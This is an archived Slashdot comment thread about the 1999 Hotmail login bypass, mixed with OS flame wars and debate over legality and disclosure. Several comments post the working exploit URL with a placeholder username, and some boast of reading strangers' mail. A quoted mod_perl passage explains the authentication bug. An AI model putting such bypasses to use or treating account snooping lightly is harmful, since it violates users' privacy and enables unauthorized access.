Slashdot Mirror
Hotmail Cracked Badly
Allright this has been submitted a lot so I'm going to throw it up. Hotmail has been cracked. Badly. Basically there is a web page with a form (no I'm not going to link it here, but I've seen it) that allows you to login as anyone and read/write/delete their email. Be afraid. And if you've got a message to yourself with like your VISA
number in it, I'd think twice about it ;)
Microsoft.
How abouts some more information concerning the crack -- was it something unique to hotmail or a general flaw everyone needs to be concerned about? (I seriously doubt hotmail will be very forthcoming with this information.)
How do I respond to this? You've given me nothing to work with. No pundant's opinion to read. No way to get the raw details for myself. GIVE ME MEAT!
who would have thought that a NT box would have shoddy security on it? :)
Doesn't make me wonder. Hotmail was always known for security problems. I block anything from Hotmail anyway, since only spam ever comes from Hotmail, so who cares?
:-)
(Oh, dammned! I was so tempted to write first post! But thank God I waited a minute and resist the dark side
That is it, the last straw, I have come to the sorrowful conclusion that Microsoft is sorry and too wrapped up in profit and making thier name larger than it already is, this is just another example of them cutting corners and not taking care of thier customers that support them. I have already began my switch to Linux, with a light version of win98 on my box for the gaming side of the house, I am tired of the bugs, the crappy support, and the flak, M$ has got to go.
I just read about this Passport thing when I visited the hotmail site because of this story. Of course, wouldn't sign up with such a Microsoft thing but maybe it isn't a bad idea - if done right with open source, etc. Like everyone I have zillions of logins that I have to manage. I would like a secure and convenient way to do it. But maybe the only secure way is to avoid trusting some login broker.
Here ya go http://www.netcraft.com/whats/? host=www.hotmail.com
Checked an old account of mine and no it's not the password.
Asking people on slashdot not to go apeshit over a story about MS is pointless.
Do you have any proof of this? I have heard this was FUD and MS never had any plans of moving hotmail to NT.
Sigh ... I suppose you're right. But as a sometime-member of the clan Anonymous Coward, I hope to bring some respectability to the fallen (if it was ever perched anywhere from which it could fall) house.
Is there anyone with more info on when the bug first showed up,
I would be *very* interested to see how long it takes microsoft to fix this.
Anyone know if they are currently logging connections or have any way to track people who use this exploit?
so let me see. you don't like NT (that much is obvious), you don't like solaris, i suppose you might have a gripe or two about linux too. and the last piece of free software you contributed is.....
This is cool, I just read my sisters email and deleted all her spam. Now you can go after any spammers @hotmail.com =)
Well, one hopes that among the admins at hotmail are /. readers and they're working on it as we speak. If not, well, then somebody should really send them email about the exploit. As much as I don't like MS, there are *real people* (!=MS execubots) with assets that may be put in jeopardy by this.
"See, if you have the goodwill of the community, you can get these things reported to you and fix them without having to face a potentially devastating security breach."
I can log into my account, but not actually read any of the messages, can anyone else read their messages??
Yes. I did. It worked at about 7AM PDT for a couple of minutes, then it stopped working with various errors generated. Noticed the errors when I was in a mailbox and couldn't read the messages (some sort of cookie error, it said). Upon trying a different login, the exploit seemed to not work, generating an error messsage. So, *something* appears to be being done. -Rich
Deleting really won't help in the short term. To quote hotmails "trash can" -- "Trash is emptied several times a week" So even if you delete all your stuff now it will linger for a few days.
After reading my own mail, then a friend's mail, then someone's grandmother's mail... a few minutes under "admin" finally reaped a "intrusion alert" message, so hopefully, Microsoft's awake and on the case.
I like the idea of slashdot alot, I like the slashdot clone sites as well but they just aren't updated as fast as slashdot. If they were I would never have a reason to come back here.
You would think nerds would want facts, instead with slashdot you get second hand FUD. For example, the register (another sad bigioted site) posted a long article about their story on Win64 that corrected a lot of stuff from the first story on that was on slashdot. Was it posted here? Nope.
Was it posted that the Win2k test server has been running great for the last 2 weeks? Nope. Was it posted it is still running great after they opened up more ports? Nope.
There are so many more examples it is sad.
hmmn half the time it seems to set the cookie and half the time it won't (ie on some accounts you can read messages and change options and on some you can't)
why?
FreeBSD
When you sum this up with other "didnt do their homework bugs",
../ etc bugs in ever piece of software they make (netbios/iis)
;-)
They seem to have . an
And get it on world-wide media like:
Another bug in widly used and trusted microsoft product... open-source software seems unafected.
There is a chance that the even the complete microsoft markating dep. cant compensate for the negative news.
This way many people might see that microsoft security isnt trough obscurity, but trough marketing
Wanna see the kind of return mail spammers get? Try war8989 as a user name. Not Necessarily an AC...
Still working, I just checked if my friend got the email I sent him this morning.
I wonder what the PR people at Microsoft will reply to this.
Yes, its true. You don't need any specific URL to try it, its just a question of a small piece of HTML code. I have it right here, its just your basic FORM that goes like this; form name="HotForm" action="http://207.82.250.251/cgi-bin/start" method="post" ... and of course, along with a bunch of CGI variables that I won't post here for the welfare of the world. I guess that piece of HTML code is already floating around the world. It's amazing that Hotmail hasn't closed down already, this is old news by now and it still works! (I just tried on my own account!)
.
I hate hotmail
Hotmail Login:
Password:
have fun
For once (S)expressen was actually right, and almost first, about a piece of News
Spread FUD that NT crashed and burnt when they tried to run NT on hotmail - anythen if you like, try to announce that Hotmail runs on Linux.
But if hotmail gets cracked....it must be running NT.
Losers
I'm not a security export - what's so bad about sprintf/sscanf?
I can imagine some scheme where cracking code examines an executable for the tell-tale % and then modifies the file so it accepts something else when doing string comparison on passwords. But this would require intimate knowledge of the victim code, and if you know enough to do that, wouldn't you know enough that there would be other appealing places in the code to hack that didn't involve sscanf/sprintf?
I guess I'm wondering what's so special about these that you singled them out.
http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=LOGINNAAM&passwd=eh
Checking the www.hotmail.com-server only gives you info on what the redirect-machine is running. As you may note when you login on an hotmail- account, or if you find a site with "the hack", the actual "mail-transactions" and so on takes place on different machines (something like w1fd.hotmail.com). You have to check what these are running. Sooner or later I guess you will be finding NT/IIS on some of these. (My asumption is that (in the future ?) MS will have been able to share and reduce the load to so many machines that they can run NT/IIS ... ) /Per
Well lc2.law5.hotmail.passport.com is listed by netcraft as Apache on FreeBSD...
.asp? s p/hminfo_shell.asp?_lang=&beta=&content=ne wlook&ishotmail=1
...
/IIS says netcraft
/
...
the following URL contains
http://lc2.law5.hotmail.passport.com/cgi-bin/da
So they have
A) a custom NT which looks like FreeBSD
B) ported ASP to work on FreeBSD
C) configured apache to treat ASP as scripts. why ?
PS www.passport.com is NT
PSS try http://lc3.law5.hotmail.passport.com/cgi-bin/dasp
see what scripts are on offer
The point is IT IS a shoddy Microsoft programming problem.
... or a more likely explanation is that the server you are seeing is just a reverse proxy with an NT server hidden behind it, surely?
The so-called "special form" used didn't even bring you to hotmail, it brought you to their own server made to look just like hotmail with a bunch of fake messages in there. Hotmail runs on BSD using Apache, not anything from MS. While Microsoft owns it, it's still run by the same Unix people as always.
Anybody else smell something fishy here?
HINT: The first word about this came from *.AOL.
It doesn't use NT. It uses FreeBSD and Slowaris. I've never seen a single doc up there using ASP. All CGI.
Wow, this has got to be causing some major forehead smacking at hotmail. check out security, that's some funny shit. arrgh. and what is with all the people blaming the OS for what is simply an administration stupidiy. is it the OS's fault you waltz out of the CS lab to go to the toilet whilst still logged in as root?
Since this appears to be a stupid CGI bug/human error keep in mind that chances are a UNIX admin wrote the CGI script since hotmail does UNIX.
We now return you to your regularly secluded bashing and close mindedness.
Wouldn't it be wiser to inform hotmail before posting this article on slashdot. This way you wouldn't be contributing to all the people who have just had their mail accounts gone through and whatnot. I know slashdot didn't post a direct link to the script but I'm sure they knew someone would.
Try this out: http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=ENTERLOGINHERE&passwd=eh replace ENTERLOGINHERE with the account you are testingg.
Internal Server Error
Oops! The server encountered an internal error and was unable to complete your request.
Please contact our server administrator, webmaster@hotmail.com and inform them of the time the error occurred and what activity you
might have been performing just prior to receiving this error.
Server Name: lc2-lfd65.law5.hotmail.com
Your Browser (User Agent) = Mozilla/4.6 [en] (X11; I; Linux 2.2.12 i686)
Last Task (ScriptName) =
RequestMethod = GET
500 Internal Server Error
Internal Server Error
Oops! The server encountered an internal error and was unable to complete your request.
Please contact our server administrator, webmaster@hotmail.com and inform them of the time the error occurred and what activity you might have been performing just prior to receiving this error.
/home/httpd0/cgi-bin/dasp
Server Name: lc2-lfd65.law5.hotmail.com
Your Browser (User Agent) = Mozilla/4.6 [en] (X11; I; Linux 2.2.12 i686)
Last Task (ScriptName) =
RequestMethod = GET
Try this out: http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=ENTERLOGINHERE&passwd=eh replace ENTERLOGINHERE with the account you are testing.
I'm on a slow@$$ connection and haven't had the time to check out all of the stories, but the basic understanding that I get is that this individual/group was able to crack hotmail mail accounts by way of a flaw in M$ Passport?
..
Regardless of the hardware/software they have running for "hotmail.com", regarding the craCkiNg incident, it prompts me to remind everyone of the cliche something along the lines of "it is only secure as the weakest link". So even if you have some mega strong software with 10,240,000-bit encryption, if you have a little flaw that would allow pretty much anyone in, then your security is useless.
I've seen hotmail cracked before, and I've actually found my own back when they were a fledgling newbie e-mail service on the net.. Apparently someone(s) didn't know how to code java/script and/or CGI properly.. the basic exploit I found (2 years ago) was
1) enter the user name
2) enter any password you want
3) view the mailbox location in the source
4) copy/paste that in the URL
I know it's pretty lame, but I'm just proving my point that hotmail could have been running on the highest secured Unix/Linux box in the world and not be effective at all.
M$ will have this fixed in a few days guaranteed.
The Hotmail backend is run by Solaris macines. The front end by a farm of xBSD boxes. Most of the major outages were caused by a port of the backend to NT.
Web pages are by their very nature insecure. I have personally tested many ecommerce sites and THEY ARE FULL OF BUGS. yes thats right, product for free. The hotmail fault was simply a lack of proactive security auditing.
it's 404 error time on 2038.com...it was fun while it lasted. i wonder where else this exploit might be popping up.
The cgi script just disappeared off the sever. I guess someone from MS managed to get ahold of the admin and have him take it down. Oh well, it'll probably pop up on another server soon....
if i go to hotmail via this url hack ?? that's so stupid, it can't be a hack i can open my email
NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE WWW.2038.COM HAS TAKEN DOWN THE CGI SCRIPT WHICH EXECUTED THE EXPLOIT .. I GUESS THE FUN'S OVER KIDDIES NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE NOTE
Hotmail users are in trouble, big, big trouble!
Maybe they're collecting IP addresses and building up a portfolio of felony warrants of people being observed exploiting the hole. That would be sweet.
Check out HotMail's "Email Safety" link off the main page ... it is conveniently dead! Somehow quite fitting.
The hole is wide open. Anything that can be done while "legitimately" logged in can be done through the hole. Sucks, eh?
Spoof, baby, spoof.
http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=XXXX&passwd=eh Just replace XXXX with the username of your choice. Out of 6 that I tried, 5 worked. I don't know more than that. A.
http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=whatever&passwd=eh seems to work still :P ee.
As of a few minutes ago, www.hotmail.com fails to respond. I guess MS is finally aware of the problem? Screw this crap, I'm deleting my Hotmail account as soon as I can get access again.
btw - i do not have an account with hotmail, but a lot of my friends do
Friends don't let friends use Hotmail!
Apparently you can no longer actually mess with the accounts accessed in that manner, but you can still see inboxes. Not exactly the best fix in the world, but I'm amazed at the response time. :)
Also, maybe this isn't new, but it seems that the little "passport" icon now says "beta" on the side. Heh.
As for how I got this information, I used it on my own account, so the FBI can just go soak their heads.
hotmail was down weeks ago when their options for deleting entire mailboxes was curiously taken away from the user.
I'm surprised you've posted the above message as a non-AC, considering that you've just publicly advocated a felony. It's probably a good thing you didn't admit you've prowled around in there.
This means all that spam I've been diverting to my hotmail account is available for anyone to read!
My God! Why don't they either fix it or shut it down!!!!!!!!!!!!!
Sure. They then catch on after the 2,459,596th account you delete.
The operative word is "catch" as they then put you in jail for a long time.
An article is already on the NYTimes tech pages. The backdoor is still there at 11:50. Why haven't they closed it yet? They truly must not care about security.
Everytime i try now, i get error 403 forbidden. any suggestions?
yea and cnn.com frontpage. well, seems they finally plugged it at ~12.01 .. ee.
http://lagparty.org/hotmail/
"Thunderstorms" must have caused this
I just tried that link and it worked...and then went to show it to someone else and it didn't work... did they fix it???
they can't do that if ypou're testing the integrety of your own mailbox!
It worked a couple of minutes ago. www.hotmail.com is now down. Maybe it will be up later on tonight.
Seems to be fixed now. I get "HTTP 403 Forbidden..." when trying to use the exploit.
It seems to me that it should be possible to create a kernel which isn't vulnerable to buffer overflow exploits. AFAIK, they all work by overwriting the stack return pointer so that it jumps to some code they have written onto the stack when the function returns.
I can think of a couple of ways to prevent this from being possible. One would be to rearrange the stack frames so that there are no "trusted" components of the frame (such as return addresses) at higher addresses than user variables. That way, any errant strcpy of whatever will only be able to replace other local stack-based varibles.
Another option would be to place one or more zero bytes between the user variables and any trusted stack frame components. The kernel can then check that the NULL's are still there before using the return pointer (or whatever.) Since it's impossible to put zero's into the middle of a string, this should make it impossible for any buffer exploit to get out of the user data part of the stack undetected.
Of course, this would not prevent an exploit from changing other user variables to some new value. Thus, it may be possible to write a useful exploit this way. I can imagine situations when you could overwrite a UID or path in the function to get root access.
An extreme approach might be to simple take strcpy and sprintf out of the header files, and rebuild everything. Quite a few programs would have to be modified, but the effort would pay off in a much more secure system.
If you've got people with laptops that contain information about billion dollar deals they should at least be using NT with NTFS, preferably some kind of encrypted file system so if (or when) the laptops get lost or stolen the data is useless to whoever has it. Windows2000 has native support for EFS which works very well. Linux, I belive, has EFS software you could use, but then you'd need to get your boss to switch to Linux.
Do you have the link to newer article from The Register? They seem to have removed all links to the article from their site.
Notice how it is not the leading story over at msnbc.com. Thin line my friends, thin line.
Even if you want to delete your Hotmail account, you can't--the account is only deleted after 90 days of inactivity. So, if you already have an account and someone wants to crack into it, the account will not be inactive and won't be deleted (even if you have stopped using it).
The deletion method seems to be a recipe for disaster. Someone could hijack your email address and the only way you would find out is if you check your email at Hotmail. But because you have used your account to check to see if someone broke into it, the account inactivity date will be reset (so the account will be deleted 90 days from the date you checked to see if it was misused). Sort of a catch-22, eh?
Catching someone who just used your account to send messages would be tough. If you want the account deleted, you can't monitor your account for misuse and you can't automatically delete it. If someone misuses your account, there's almost no way for you to know. If someone you know received spam from your account and replied to your Hotmail address, you couldn't find out without checking your account. A cracker could misuse your account and because the account is being used it won't be deleted.
Maybe a few classes on computer security would be helpful for the Hotmail staff--as it is now, how can the Hotmail service be trusted?
Are you getting that URL to work? Cause I'm not....
The problem with the stories on cnn.com and news.com is they don't explain the bypass. The problem is one of crap design, where it doesn't authenticate the password at the mailbox, but just at the front page. I kinda wish they would explain it, instead of just saying these websites had a "crack". Those people could get screwed when MS starts looking for a scapegoat. But when you think about it, all they did was use an URL. There was no scanning, virii, trojans, buffer overflow, etc.
i've talked right now with an hotmail sysadmin. he told me that they've spent ALL NIGHT trying to figure out what to do, and the only way to fix was taking down some stuff.
no way, but good try
Of course buffer limitations are an issue, but that was true in my intro to programming course in college way back in '80. It was M77 FORTRAN on cards, so there was no sprintf or sscanf, and certainly no crackable hotmail. So again, how do they relate to security such that they were singled out?
-The Same Anonymous Coward As Before
Man I can't believe that...Once you've been violated like that, it's always good policy to pull the plug ASAP. But no, they let it ride for a loooooong time. The exploit's been around a couple weeks too. Pretty stupid... I feel sorry for the poor sods working there...I hope someone's handing out parachutes.
However, for the people who made it easier by putting up webpages (where you only had to type in a username), they could become a scapegoat. The problem is the way all the major news outlets are telling the story. As if it was some special hack that could only be done from said websites. It's great spin for Microsoft, and makes the problem sound somewhat less severe than it really is--"Look these hackers violated our security and allowed others to login!" The truth is, there was no security...
Now it's time to troll some of the chat rooms they frequent and hook up...
Asshole Abe is my hero! I wanna be a Punk H4x0r Kid too!
It was in a swedish tabloid this morning, and, though the websites are closed, the direct URL given in some comments still work at 18:00 UTC. This means Microsoft lets its users mail wide open for more than 12 hours, AND HAS DONE NOTHING TO PREVENT IT. There isn't even a warning on Hotmail! I can't understand why they don't shut Hotmail down until they fix it.
we have to think that guys at hotmail are just waiting for microsoft being split in msn and microsoft, so they can make more monay on the msn stocks. security? they don't care. customers are not paying, so they really don't care about. and a couple of friends have confirmed this.
This doesn't really work. I can get into the account, but I can't read the emails or do anything else. It only works on my own account, because the browser uses a cookie to remember my previous login.
Microsoft owns hotmail. Period. Therefore, they are most certainly responsible for it; they manage it, their alleged IT experts maintain it.
Do you understand the concept of responsibility? Or are you a moron? Responsibility has nothing whatever to do with NT! It does have something to do with hiring incompetent morons!
Gaining unauthorized access to a computer system and/or using computing resources without authorization is illegal. Plain and simple. You can joke about it all you want but seriously, that's it. I like to joke about it now because when I first started using the internet 10+ years ago, that was the only way I could get access.
Here comes the awful house analogy... if you don't have a door on your house, is it illegal for someone to enter your house, sit on your couch and watch TV? Assuming they don't have authorization, it is at a minimum called trespassing. Same thing with computer systems. Even if there is no password to an account, you do not have authorization to that account.
I just signed up with Microsoft Investor after not having used it for several months. (This site is probably the best use of ActiveX I've ever seen.) They now use a MS Passport account. They sort of implied that in the future you could keep your portfolio contents on their server so you could use Investor on more than one computer (I think the data is currently kept on the local hard drive). Investor also now has integration with about 10 of the biggest internet stock brokers. I sure hope you have to enter a broker specific password before a trade is authorized. Can you imagine the implications. Did anyone out there try getting into Investor?
snprintf is a GNU extension. And just like strncpy, it's a horrible idea. Fixed-length strings are a retarded idea and should have died out 20 years ago when they became obsolete. I mean aren't you C programmers kind of annoyed that you have to make your own good_sprintf(), good_sscanf() and good_gets() to get around stupid fixed-length strings? (Although hopefully you picked better names than I did). C has by far the worst standard library I've ever seen. The language is fine, but the library is not. Whoever came up with the idea that *scanf(), *sprintf() and *gets() should work on pre-malloc()ed (and hence fixed-length) strings deserved a good kick to the teeth.
and nobody will discover the real problem, m$ marketing will go on convincing people that hotmail is great and it's the only one. and also this break-in will be forgotten soon. remember, is microsoft
yep. there was also another one, which was like an overlay form..basically waited for you to login, and crashed netscape or IE..this lead to *ALL* your email being deleted (YES, ALL THE FOLDERS!) without you even trying to read/clik on anything..it deleted when you logged on...i've seen it in action..pretty effective..switched to another email service when i saw it and deleted my hotmail account.
That should read "to any badly-programmed web-mail service
hahaha, this is funny, but sadly real.
they work for microsoft. they probably dunno anything about security and probably they have a bunch of idiots leading the team.
why do some of the accounts just lead to a "you need cookies enabled" error page? glad i chose rocketmail.. heh
One small correction - the latest Outlook Express can handle Hotmail accounts. Hence it would be possible to send mass mailings through Outlook Express and bypass the web style interface.
is that Microsoft didn't start Hotmail, they just bought it out and now promote it. I know that Hotmail had security holes all through it before the buyout, but now that it is Microsoft Hotmail, it is the focus of attack. And of course with that comes all of the blame focusing squarely on MS's shoulders. Are they to blame? Sure. Is it because it is a MS product that is sucks? NO. But of course this is me preaching to the blind and deaf, so I will move on with my life, while you continue to pat yourselves on the back.
Open Source. Closed Minds. We are Slashdot.
It's on the MSN default homepage, multiple times, the article even mentions slashdot.org.
MS did NOT try to run Hotmail on NT, I know, I was there.
the Hotmail programmers couldn't program their way out of a wet paper bag. MS had a heck of a time getting their systems to keep working at all.
Hah damn it, that was interesting! Maybe I should'nt have done that. Could'nt help though. Well ... that puts you in perspective, I guess. Never trust women!!! As if I did'nt know it ... but somehow I wanted to believe she was different. Ah! That's a good one.
Is this CNN story a rehash of past events, or is hotmail still vulnerable with a slightly different URL? The title says it's wide open, and it's dated about 45 minutes ago, so I guess Hotmail still hasn't totally fixed it.
And that's not the only micro$oft site that is running apache on a unix platform. a friend of mine (micro$oft, not hotmail, employee) just pointed me to this:
homepage.msn.com.
It's not an NT or a BSD bug... it was independent of the OS. It was just plain ol' sloppy CGI scripting. Duh. But Microsoft owns the site, and Microsoft *is* responsible for the site and security.
http://209.185.243.144/cgi-bin/start?curmbox=ACTIV E&js=no&login=USERNAME&passwd=eh replace USERNAME with the person's e-mail.. its neat but dont do anything malicious.. cause then they may kill you.. or worse.. i mean.. its microsoft :o)
Indeed, Hotmail was not originated by M$ and it runs on Unix - but this new exploit, which looks pretty simple, was never out until the new M$ Passport login crap was introduced. Think there might be a connection? Open Mouth. Close Piehole.
This problem doesn't strike me as looking like a bug.
The problem is not that the password isn't correctly passed to the cgi script, the problem is that the cgi script doesn't implement any pasword verification. It would be a bug if say the web page was returning a "password" parameter, but the script was looking for "passwd" causing logins to fail.
Either they just weren't able to implement a secure login that worked with the features that they want to provide (the passport thingy), or they think that security through obscurity is sufficient. I'd bet that who ever wrote this knew it was a hole; that person probably doesn't keep any important email on HotMail!
I'll be laughin' when the first class-action suit is filed.
hotmail's engineers have fixed the bug removing the cgi page... or they probably just rename it ?
Microsoft says "We found it was possible for a malicious hacker to gain access to the Hotmail servers through specific knowledge of advanced Web development languages". More accurate: "We found it was possible for a six year old kid to gain access to the Hotmail servers through specific knowledge of reading and being able to type (even slowly with one hand)".
This is very funny!! I was just reading mod_perl documentaion when i stumbled upon this:
When you start running your scripts under mod_perl, you might find yourself in situation where a script seems to work, but sometimes it screws up.
And the more it runs without a restart, the more it screws up. Many times you can resolve this problem very easily. You have to test your script
under a server running in a single process mode (httpd -X).
Generally the problem you have is of using global variables. Since global variables don't change from one script invocation to another unless you
change them, you can find your scripts do ``fancy'' things.
The first example is amazing -- Web Services. Imagine that you enter some site you have your account on (Free Email Account?). Now you want
to see what other users read.
You type in a username you want to peek at and a dummy password and try to enter the account. On some services it does works!!!
You say, why in the world does this happen? The answer is simple: Global Variables. You have entered the account of someone who happened to
be served by the same server child as you. Because of sloppy programming, a global variable was not reset at the beginning of the program and
voila, you can easily peek into other people's emails! Here is an example of sloppy written code:
use vars ($authenticated);
my $q = new CGI;
my $username = $q->param('username');
my $passwd = $q->param('passwd');
authenticate($username,$passwd);
# failed, break out
die "Wrong passwd" unless $authenticated == 1;
# user is OK, fetch user's data
show_user($username);
sub authenticate{
my ($username,$passwd) = @_;
# some checking
$authenticated = 1 if (SOMETHING);
}
Do you see the catch? With the code above, I can type in any valid username and any dummy passwd and enter that user's account, if someone
has successfully entered his account before me using the same child process! Since $authenticated is global - if it becomes 1 once it'll be 1 for
the remainder of the child's life!!! The solution is trivial -- reset $authenticated to 0 at the beginning of the program. (Or many other different
solutions). Of course this example is trivial -- but believe me it happens!
There is an inherant problem in all WWW based POP3 email checkers... you are essentially telling a remote site...
Your username on your ISP (name@isp.com>
Which ISP you use (name@isp.com)
Your login password
I wouldn't trust any internet site with that information, no matter how big and friendly they claim to be.
Multifaceted Jimbob
Haha...here's what MS has to say: "Hotmail experienced service issues that have generated questions about security"
Yee-Haw! Finally, I'm a malicious hacker!
There's just one little thing that you are forgetting here... You mail password and username doesn't have to be the same as your login name and password... Mine isn't, that's for sure.
Hotmail informs that it's only a potential security issue. They claim they took the server offline, but from what I have read on /., it took far too long. I'm happy I stopped using the service when Microsoft took over, although I believe that the hole has been there for a longer time than just a couple of hours.
What you just showed was that the initial web-server is Apache, what's your point? Latest I heard they do run the hotmail-accounts on a MS-platform. They did have some problems initially with the scalability, and had to go to SUN (I think) to straighten things out, but have solved the matter lately. Until now that is.
When trying to view a Hotmail inbox of MSN Messenger you get this:
/cgi-bin/start on this server.
/cgi-bin/start was the script which let anyone in without a password. They have blocked access to it until they can fix it.
Forbidden You don't have permission to access
It's either something on Hotmail's end or something that will require an update for Messenger and how it connects to Hotmail. The
At a recent MS tech conference it was relayed by MS to all of the attendees that hotmail would be converted to a WIN2K/Exchange Platinum environment once both products are commercially available. Some of the major changes that have been made to Exchange were made so that it could handle the type of load that hotmail carries.
You realise that this ofcourse could be some kind of plan on MS's part to discredit the security of UNIX and make it appear as though NT is the solution. Perception is everything. They may have finally found a way to get hotmail to run using NT. Then introduced a bug in their security, and distributed to the right person a method for exploiting it. Then when the exploit becomes public knowledge, they switch over to their NT system that took ages to get going and then, say to the world, "Look at how quickly we swapped to NT and got it installed and it works and has no security issues. As you know we had BSD and is was hacked, You should all buy NT". And everyone will believe NT is more secure and Microsoft will come out looking good. Or maybe I'm giving them WAY TOO MUCH credit. John
He was talking about the pop3 checking. and an excellent point. I will continue to use the feature, but in the future I will not leave that info on my freemail account, just enter it when I need to check.
In case you haven't heard, computers don't run themselves... give a company the best software in the world, and if they're morons, they'll screw it up royally - i.e. Hotmail.
or the early worm get eaten by the bird...
hotmail is running free bsd, and always has. they tried to run it on nt but that did not succeed, so they went back to free bsd. i thought free bsd was pretty secure?
Your e-mail is private and secure (yeah right! hehehe)
/ hminfo_shell.asp?_lang=&beta=&content=wh ysign&us=ws
/. k.d. /. earthtrickle - Monkeys vs. Robots Films
When you sign up for Hotmail, you choose your personal ID and password. The only way you can access your account is by using the password you select. This means that only you will have access to your Hotmail account, even if you use a computer at a public terminal or a friend's house. (unless you use our convenient form based access if you "forget" your password... hehe)
Because the messages in your Hotmail account are stored securely at a central location, you don't have to worry about losing important information if something happens to your computer. (until someone breaks in... heheh)
Hotmail is strongly committed to keeping your personal information confidential. For more information on our Privacy Policy, click here. (the info goes straight to billg's desk. he reads it all! he knows who you are... heheh)
Sign Up Now!
excerpt from: http://lc3.law5.hotmail.passport.com/cgi-bin/dasp
It is actually incredibly difficult to send spam from hotmail. It is not a task that is easily automated because you have to go through their web interface for each and every message. Sure you could probably script it with perl, but that is far beyond the skills of 99.999% of the spammers out there.
Instead, when people say that the only thing they get from Hotmail is spam, they probably mean somebody forging mail with headers to look like it is from hotmail. Which is kind of what you said, but unless you read procmail filters it wasn't so obvious.
In your case, the procmail rule won't stop someone who is forging the X-Originating-IP line either, but it is probably good enough for most spammers.
Well this seems to be down. Try http://lagparty.org/hotmail/ instead.
http://207.82.250.99/cgi-bin/start?curmbox=ACTIVE& js=no&login=&passwd=eh
University of Karlsruhe represent!
1) We're not told in this story where *exactly* the security hole is (in which part of the system)
2)According to Netcraft: "www.hotmail.com is running Apache/1.3.6 (Unix) mod_ssl/2.2.8 SSLeay/0.9.0b on FreeBSD"
So, don't start going on about how NT sucks like a bunch of sharks smelling blood. It's unbecoming.
Don't look at this as an "MS fscked-up" story (and I question the filing of this one under "Microsoft") look at the story as a genuine "news for nerds" -- e.g. high-profile incidents like these can have an effect on developments in web-related industries.
Why should I prove somthing I never said? I said that MS marketing people have often mentioned they'd like to increase NT's presence at Hotmail, not that there are plans for wholesale conversion.
In addition, it looks like they have increased NT's presence at Hotmail. They added Microsoft Passport to Hotmail, and I am pretty sure that the Passport servers are running NT. So at Hotmail you now have the Solaris/Apache boxes listening to NT machines running brand new software for account authentication. This might be where the exploit lies (or it might not).
----
----
Open mind, insert foot.
$ nslookup
> 207.82.250.251
Name: wya-pop.hotmail.com
Address: 207.82.250.251
> set querytype=any
> wya-pop.hotmail.com
wya-pop.hotmail.com preference = 20, mail exchanger = mail.hotmail.com
wya-pop.hotmail.com internet address = 207.82.250.251
hotmail.com nameserver = ns1.hotmail.com
hotmail.com nameserver = ns3.hotmail.com
hotmail.com nameserver = ns1.jsnet.com
mail.hotmail.com internet address = 216.33.151.135
ns1.hotmail.com internet address = 207.82.250.83
ns3.hotmail.com internet address = 209.185.130.68
ns1.jsnet.com internet address = 209.1.113.3
----
----
Open mind, insert foot.
Hotmail was originally running on Sun boxes running Solaris. When Microsoft bought it, they ported the software over to NT boxes, and tried running it that way. It crashed and burned so badly, they quickly went back to the Solaris boxes, but their marketing people keep saying that they will be increasing the presence of NT at Hotmail. I don't know if it's still Solaris or if they switched back to NT again.
Regardless, you could crack the most "secure" OS, if it's administered badly. The OS's security features only limit what the best security you can obtain is. If you put a backdoor in your system (usually inadvertently), the best OS in the world won't save you. I would assume that whatever they're running, they screwed up.
----
----
Open mind, insert foot.
you can login as a user and get a list of their mail, but you can no longer view it. ...shucks.
----------------- ------------ ---- --- - - - -
----------------- ------------ ---- --- - - - -
Your honor is perfectly understandishable.
Alex Bischoff
---
Alex Bischoff
HTML/CSS coder for hire
Sorry, Billy. Really.
Actually I like POP too, is there an implementation of it out there that uses encrypted passwords?
What are the implications of this regarding the
Microsoft Passport programme? From hotmail.com:
Microsoft® Passport is a single, secure way for you to sign in to multiple Internet sites using one member name and password. And now, as an MSNTM HotmailTM member, you can use your Hotmail member name and password as your Passport!
That means you can use your Hotmail member name and password to sign in to Hotmail as well as many other Passport sites-without having to retype any information. This summer, many of the MSN sites will begin accepting your Passport, as will other major Internet sites later on this year.
Here's how it works: If you sign in to Hotmail or any other MSN site, you are automatically signed in to all MSN sites that use Passport. As you move from site to site, you'll instantly be recognized, and you'll have access to the best features the sites have to offer. Once other Internet sites begin using Passport, you'll also be able to sign in to those sites with just one click-without having to re-enter any information. No multiple sign ins, no hassles!
Is there a way to transfer your forged hotmail identity to use other services under the passport programme as well?
Others have mused about the possibility of the Hotmail lawyers coming after people who exercised this security feature. Well, CNN says they did this so I guess they are in the soup too.
Now a buddy of mine says, "Watch M$ turn this around and say they've fixed the problem by switching to NT!"
Arrrrrgggghhh
Wansu, th' chinese sailor
I'll throw this one out.
What are the chances that MS "allowed" this hole to exsist so they could spread FUD about *NIX.
"This just shows the world that a free OS built by a bunch of hackers in thier bedrooms can't compete with an Industry Supported OS like Windows 2000."
How long till something like that comes out of Redmond?
--
FUCK that!
"The number of suckers born each minute doubles every 18 months."
These are my friends, See how they glisten. See this one shine, how he smiles in the light.
And, even if the admins of Hotmail don't read Slashdot or other tech news sites, the massive surge in activity, PLUS the massive surge in accesses of mailboxes should have rung alarm bells from Hotmail to Antarctica and back.
If THAT weren't enough, the admins must be aware of a huge increase in the number of people accessing via a single machine, and via a single method.
If that STILL weren't enough, they must have been notified by now that something's going on.
Finally, if complaints, surging activity from a single computer, news everywhere of the hole, and a massive increase in the use of Passport, were not enough to pull the plug, I'm sure journalists read Slashdot and some may have phoned Hotmail for a comment. System cracking is still news, even these days.
Yet, despite all of this, Hotmail still has that security hole wide open. *SIGH* That is astonishing.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
